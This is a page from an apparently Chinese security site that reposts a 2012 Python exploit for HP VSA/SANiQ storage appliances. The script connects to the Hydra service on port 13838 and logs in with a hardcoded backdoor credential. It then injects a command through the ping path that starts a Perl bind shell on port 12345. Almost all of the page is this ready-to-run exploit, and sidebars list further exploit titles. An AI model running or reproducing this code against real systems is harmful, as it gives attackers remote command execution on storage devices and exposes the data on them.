首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP VSA Remote Command Execution Exploit
来源:nicolas.gregoire@agarri.fr 作者:Gregoire 发布时间:2012-05-21  

#!/usr/bin/python

''' ==================================
          Pseudo documentation
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Grégoire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
          Target information
================================== '''

HOST = '192.168.201.11' # The remote host
PORT = 13838  # The hydra port

''' ==================================
             Imports
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
        Define functions
================================== '''

# Some nice formatting
def zprint(str):
 print '[=] ' + str

# Define packets
def send_Exec():
 zprint('Send Exec')
 
 # RESTRICTIONS
 # You can't use "/" in the payload
 # No Netcat/Ruby/PHP, but telnet/bash/perl are available

 # METASPLOIT PAYLOAD
 cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

 # COMMAND INJECTION BUG
 data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

 # EXPLOIT
 zprint('Now connect to port 12345 of machine ' + str(HOST))
 send_packet(data)

def send_Login():
 zprint('Send Login')
 data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
 send_packet(data)

# Define the sending function
def send_packet(message):

 # Add header
 ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
 ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
 message = message + '\x00'
 data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

 # Send & receive
 s.send(data)
 data = s.recv(1024)
 zprint('Received : [' + data + ']')

''' ==================================
           Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SkinCrafter ActiveX Control ve
·Squiggle 1.7 SVG Browser Java
·Linux/x86 - polymorphic espeak
·Oracle Weblogic Apache Connect
·linux/x86 execve(/bin/dash) 42
·Active Collab "chat module" <=
·Multimedia Builder 4.9.8 Malic
·SkinCrafter 3.0 Buffer Overflo
·Universal Reader 1.16.740.0 De
·PHP 5.4 (5.4.3) Code Execution
·TFTP Server 1.4 ST(RRQ) Buffer
·PHP 5.3.11 (win) Local Denial
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved